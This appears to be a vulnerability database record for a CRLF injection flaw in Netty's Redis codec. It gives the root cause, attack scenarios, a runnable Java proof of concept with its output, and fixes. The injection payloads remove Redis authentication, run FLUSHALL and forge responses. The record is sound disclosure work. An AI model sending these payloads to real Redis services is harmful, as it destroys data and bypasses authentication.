{"id":"CVE-2026-42586","aliases":["GHSA-rgrr-p7gp-5xj7"],"url":"https://o3.security/vulnerability/CVE-2026-42586","summary":"Netty: CRLF Injection in Netty Redis Codec Encoder","details":"# Security Vulnerability Report: CRLF Injection in Netty Redis Codec Encoder\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-redis) |\n| **Component** | `io.netty.handler.codec.redis.RedisEncoder` |\n| **Vulnerability Type** | CWE-93: Improper Neutralization of CRLF Sequences (CRLF Injection) |\n| **Impact** | Redis Command Injection / Response Poisoning |\n| **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | None |\n| **User Interaction** | None |\n| **Scope** | Unchanged |\n| **Confidentiality Impact** | High |\n| **Integrity Impact** | High |\n| **Availability Impact** | None |\n\n## 2. Affected Components\n\nThe following classes in the `codec-redis` module are affected:\n\n- `io.netty.handler.codec.redis.RedisEncoder` (encoder - no output validation)\n- `io.netty.handler.codec.redis.InlineCommandRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.SimpleStringRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.ErrorRedisMessage` (no input validation)\n- `io.netty.handler.codec.redis.AbstractStringRedisMessage` (base class - no validation)\n\n## 3. Vulnerability Description\n\nThe Netty Redis codec encoder (`RedisEncoder`) writes user-controlled string content directly to the network output buffer without validating or sanitizing CRLF (`\\r\\n`) characters. Since the Redis Serialization Protocol (RESP) uses CRLF as the command/response delimiter, an attacker who can control the content of a Redis message can inject arbitrary Redis commands or forge fake responses.\n\n### Root Cause\n\nIn `RedisEncoder.java`, the `writeString()` method (lines 103-111) writes content using `ByteBufUtil.writeUtf8()` without any validation:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List<Object> out) {\n    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +\n                                     RedisConstants.EOL_LENGTH);\n    type.writeTo(buf);\n    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION\n    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \\r\\n\n    out.add(buf);\n}\n```\n\nThe message constructors (`InlineCommandRedisMessage`, `SimpleStringRedisMessage`, `ErrorRedisMessage`) inherit from `AbstractStringRedisMessage`, which only checks for null:\n\n```java\n// AbstractStringRedisMessage.java:30-32\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    // NO CRLF validation\n}\n```\n\n### Comparison with Similar Fixed CVEs\n\nThis vulnerability follows the exact same pattern as two previously acknowledged Netty CVEs:\n\n| CVE | Component | Fix |\n|-----|-----------|-----|\n| **GHSA-jq43-27x9-3v86** | SmtpRequestEncoder - SMTP command injection | Added `SmtpUtils.validateSMTPParameters()` to check for `\\r` and `\\n` |\n| **GHSA-84h7-rjj3-6jx4** | HttpRequestEncoder - CRLF in URI | Added `HttpUtil.validateRequestLineTokens()` to check for `\\r`, `\\n`, and SP |\n\nThe Redis codec has **no equivalent validation** in either the encoder or the message constructors.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when **all** of the following conditions are met:\n\n1. The application uses Netty's `codec-redis` module to communicate with a Redis server\n2. User-controlled input is placed into `InlineCommandRedisMessage`, `SimpleStringRedisMessage`, or `ErrorRedisMessage` content\n3. The application does **not** perform its own CRLF sanitization before constructing these message objects\n\n**Important context**: Most production Redis clients built on Netty use the RESP array format (`ArrayRedisMessage` + `BulkStringRedisMessage`), which uses binary-safe length-prefixed encoding and is **not** affected by this vulnerability. The vulnerability specifically affects the text-based inline command mode and simple string/error response types, which use CRLF as protocol delimiters.\n\n**Affected use cases include**:\n- Custom Redis clients or proxies that use `InlineCommandRedisMessage` for simplicity\n- Redis middleware/proxy layers that forward `SimpleStringRedisMessage` or `ErrorRedisMessage` responses\n- Applications that construct Redis monitoring or diagnostic commands from user input\n- Redis Sentinel or Cluster management tools using inline command format\n\n## 5. Attack Scenarios\n\n### Scenario 1: Redis Command Injection via Inline Commands\n\nWhen Netty is used as a Redis client or proxy, and user-controlled data is placed into `InlineCommandRedisMessage`, an attacker can inject arbitrary Redis commands:\n\n```java\n// Application code that builds Redis commands from user input\nString userKey = request.getParameter(\"key\");  // Attacker controls this\nInlineCommandRedisMessage msg = new InlineCommandRedisMessage(\"GET \" + userKey);\nchannel.writeAndFlush(msg);\n```\n\n**Attack input**: `key = \"foo\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\"`\n\n**Result**: Three commands sent to Redis:\n1. `GET foo`\n2. `CONFIG SET requirepass \"\"` (removes authentication!)\n3. `FLUSHALL` (deletes all data!)\n\n### Scenario 2: Redis Response Poisoning\n\nWhen Netty is used as a Redis proxy/middleware, a malicious upstream Redis server (or MITM attacker) can inject fake responses:\n\n```java\n// Proxy forwarding a simple string response\nSimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);\ndownstreamChannel.writeAndFlush(response);\n```\n\n**Malicious upstream response**: `\"OK\\r\\n$6\\r\\nhacked\"`\n\n**Client sees**:\n1. Simple String: `+OK` (expected response)\n2. Bulk String: `$6\\r\\nhacked` (injected fake data!)\n\n### Scenario 3: Error Message Injection\n\n```java\nErrorRedisMessage error = new ErrorRedisMessage(\"ERR \" + errorDetail);\n```\n\n**Attack input**: `errorDetail = \"unknown\\r\\n+FAKE_SUCCESS\"`\n\n**Client sees**:\n1. Error: `-ERR unknown`\n2. Simple String: `+FAKE_SUCCESS` (injected fake success!)\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (RedisEncoderCRLFInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.ByteBufUtil;\nimport io.netty.buffer.UnpooledByteBufAllocator;\nimport io.netty.channel.ChannelHandlerContext;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.redis.*;\n\nimport java.nio.charset.StandardCharsets;\nimport java.util.List;\nimport java.util.ArrayList;\n\n/**\n * PoC: Redis Encoder CRLF Injection Vulnerability\n *\n * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,\n * and ErrorRedisMessage do not validate content for CRLF characters,\n * allowing Redis command injection via the RESP protocol.\n */\npublic class RedisEncoderCRLFInjectionPoC {\n\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty Redis Encoder CRLF Injection PoC ===\\n\");\n\n        testInlineCommandInjection();\n        testSimpleStringInjection();\n        testErrorMessageInjection();\n\n        System.out.println(\"\\n=== PoC Complete ===\");\n    }\n\n    /**\n     * Test 1: Inline Command Injection\n     * An attacker-controlled string injected into InlineCommandRedisMessage\n     * results in multiple Redis commands being sent.\n     */\n    static void testInlineCommandInjection() {\n        System.out.println(\"[TEST 1] Inline Command CRLF Injection\");\n        System.out.println(\"----------------------------------------\");\n\n        // Malicious content: inject FLUSHALL after a benign PING\n        String maliciousContent = \"PING\\r\\nCONFIG SET requirepass \\\"\\\"\\r\\nFLUSHALL\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        // This should be rejected but is accepted\n        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   InlineCommandRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // Count how many CRLF-delimited commands are in the output\n        String[] commands = encoded.split(\"\\r\\n\");\n        System.out.println(\"Number of commands parsed by Redis: \" + commands.length);\n        for (int i = 0; i < commands.length; i++) {\n            if (!commands[i].isEmpty()) {\n                System.out.println(\"  Command \" + (i + 1) + \": \" + commands[i]);\n            }\n        }\n\n        boolean vulnerable = commands.length > 1;\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Multiple commands injected!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 2: SimpleString Response Injection\n     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString\n     * can inject fake responses to the downstream client.\n     */\n    static void testSimpleStringInjection() {\n        System.out.println(\"[TEST 2] SimpleString Response CRLF Injection\");\n        System.out.println(\"----------------------------------------------\");\n\n        // Malicious content: inject a fake bulk string response after OK\n        String maliciousContent = \"OK\\r\\n$6\\r\\nhacked\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   SimpleStringRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        // The RESP protocol uses the first byte to determine type:\n        // '+' = Simple String, '$' = Bulk String\n        // A client parsing this would see:\n        // 1. \"+OK\\r\\n\"       -> Simple String \"OK\"\n        // 2. \"$6\\r\\nhacked\"  -> Bulk String \"hacked\" (injected!)\n        boolean vulnerable = encoded.contains(\"+OK\\r\\n$6\\r\\nhacked\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Response poisoning possible!\" : \"NO\"));\n        System.out.println();\n    }\n\n    /**\n     * Test 3: Error Message Injection\n     * Similar to SimpleString but with error messages.\n     */\n    static void testErrorMessageInjection() {\n        System.out.println(\"[TEST 3] Error Message CRLF Injection\");\n        System.out.println(\"--------------------------------------\");\n\n        String maliciousContent = \"ERR unknown\\r\\n+INJECTED_OK\";\n\n        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());\n\n        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);\n        channel.writeOutbound(msg);\n\n        ByteBuf output = channel.readOutbound();\n        String encoded = output.toString(StandardCharsets.UTF_8);\n        output.release();\n        channel.finishAndReleaseAll();\n\n        System.out.println(\"Input:   ErrorRedisMessage(\\\"\" +\n                           maliciousContent.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\")\");\n        System.out.println(\"Encoded: \\\"\" +\n                           encoded.replace(\"\\r\", \"\\\\r\").replace(\"\\n\", \"\\\\n\") + \"\\\"\");\n\n        boolean vulnerable = encoded.contains(\"-ERR unknown\\r\\n+INJECTED_OK\");\n        System.out.println(\"VULNERABLE: \" + (vulnerable ? \"YES - Error + fake OK injected!\" : \"NO\"));\n        System.out.println();\n    }\n}\n```\n\n### How to Compile and Run\n\n```bash\n# Build Netty (skip tests for speed)\n./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \\\n  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \\\n  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q\n\n# Set classpath\nJARS=$(find ~/.m2/repository/io/netty -name \"netty-*.jar\" -path \"*/4.2.12.Final/*\" \\\n  | grep -v sources | grep -v javadoc | tr '\\n' ':')\n\n# Compile and run\njavac -cp \"$JARS\" RedisEncoderCRLFInjectionPoC.java\njava -cp \"$JARS:.\" RedisEncoderCRLFInjectionPoC\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty Redis Encoder CRLF Injection PoC ===\n\n[TEST 1] Inline Command CRLF Injection\n----------------------------------------\nInput:   InlineCommandRedisMessage(\"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\")\nEncoded: \"PING\\r\\nCONFIG SET requirepass \"\"\\r\\nFLUSHALL\\r\\n\"\nNumber of commands parsed by Redis: 3\n  Command 1: PING\n  Command 2: CONFIG SET requirepass \"\"\n  Command 3: FLUSHALL\nVULNERABLE: YES - Multiple commands injected!\n\n[TEST 2] SimpleString Response CRLF Injection\n----------------------------------------------\nInput:   SimpleStringRedisMessage(\"OK\\r\\n$6\\r\\nhacked\")\nEncoded: \"+OK\\r\\n$6\\r\\nhacked\\r\\n\"\nVULNERABLE: YES - Response poisoning possible!\n\n[TEST 3] Error Message CRLF Injection\n--------------------------------------\nInput:   ErrorRedisMessage(\"ERR unknown\\r\\n+INJECTED_OK\")\nEncoded: \"-ERR unknown\\r\\n+INJECTED_OK\\r\\n\"\nVULNERABLE: YES - Error + fake OK injected!\n\n\n=== PoC Complete ===\n```\n\n## 7. Impact Analysis\n\n| Impact Category | Description |\n|----------------|-------------|\n| **Confidentiality** | HIGH - Attacker can execute `CONFIG GET` to extract sensitive Redis configuration, use `KEYS *` to enumerate all data |\n| **Integrity** | HIGH - Attacker can execute `SET`/`DEL`/`FLUSHALL` to modify or destroy data, `CONFIG SET` to change server configuration |\n| **Availability** | Can be HIGH - `FLUSHALL` destroys all data, `SHUTDOWN` stops the server, `DEBUG SLEEP` causes DoS |\n| **Authentication Bypass** | `CONFIG SET requirepass \"\"` removes authentication |\n| **Data Exfiltration** | Lua scripting via `EVAL` enables complex data extraction |\n\n## 8. Remediation Recommendations\n\n### Option 1: Validate in Message Constructors (Recommended)\n\nAdd CRLF validation to `AbstractStringRedisMessage`:\n\n```java\nAbstractStringRedisMessage(String content) {\n    this.content = ObjectUtil.checkNotNull(content, \"content\");\n    validateContent(content);\n}\n\nprivate static void validateContent(String content) {\n    for (int i = 0; i < content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new IllegalArgumentException(\n                \"Redis message content contains illegal CRLF character at index \" + i);\n        }\n    }\n}\n```\n\n### Option 2: Validate in Encoder (Defense-in-Depth)\n\nAdd validation in `RedisEncoder.writeString()`:\n\n```java\nprivate static void writeString(ByteBufAllocator allocator, RedisMessageType type,\n                                String content, List<Object> out) {\n    for (int i = 0; i < content.length(); i++) {\n        char c = content.charAt(i);\n        if (c == '\\r' || c == '\\n') {\n            throw new RedisCodecException(\n                \"Redis message content contains CRLF at index \" + i);\n        }\n    }\n    // ... existing encoding logic\n}\n```\n\n### Option 3: Both (Best Practice)\n\nApply validation in both the constructor and the encoder, following the pattern used for SMTP:\n- `SmtpUtils.validateSMTPParameters()` validates in `DefaultSmtpRequest` constructor\n- This provides defense-in-depth against custom `SmtpRequest` implementations\n\n## 9. Resources\n\n- [RESP Protocol Specification](https://redis.io/docs/reference/protocol-spec/)\n- [CWE-93: Improper Neutralization of CRLF Sequences](https://cwe.mitre.org/data/definitions/93.html)\n- [GHSA-jq43-27x9-3v86: Netty SMTP Command Injection](https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86)\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)","published":"2026-05-13T18:20:46.999Z","modified":"2026-08-12T03:51:16.588564528Z","cvss":{"score":6.8,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"},"epss":{"score":0.00198,"percentile":0.0958,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Maven","name":"io.netty:netty-codec-redis","fixedVersion":"4.2.13.Final"},{"ecosystem":"Maven","name":"io.netty:netty-codec-redis","fixedVersion":"4.1.133.Final"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42586.json"},{"type":"ADVISORY","url":"https://github.com/netty/netty/security/advisories/GHSA-rgrr-p7gp-5xj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42586"},{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4"},{"type":"WEB","url":"https://github.com/netty/netty/security/advisories/GHSA-jq43-27x9-3v86"},{"type":"PACKAGE","url":"https://github.com/netty/netty"},{"type":"WEB","url":"https://redis.io/docs/reference/protocol-spec"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.588564528Z"}}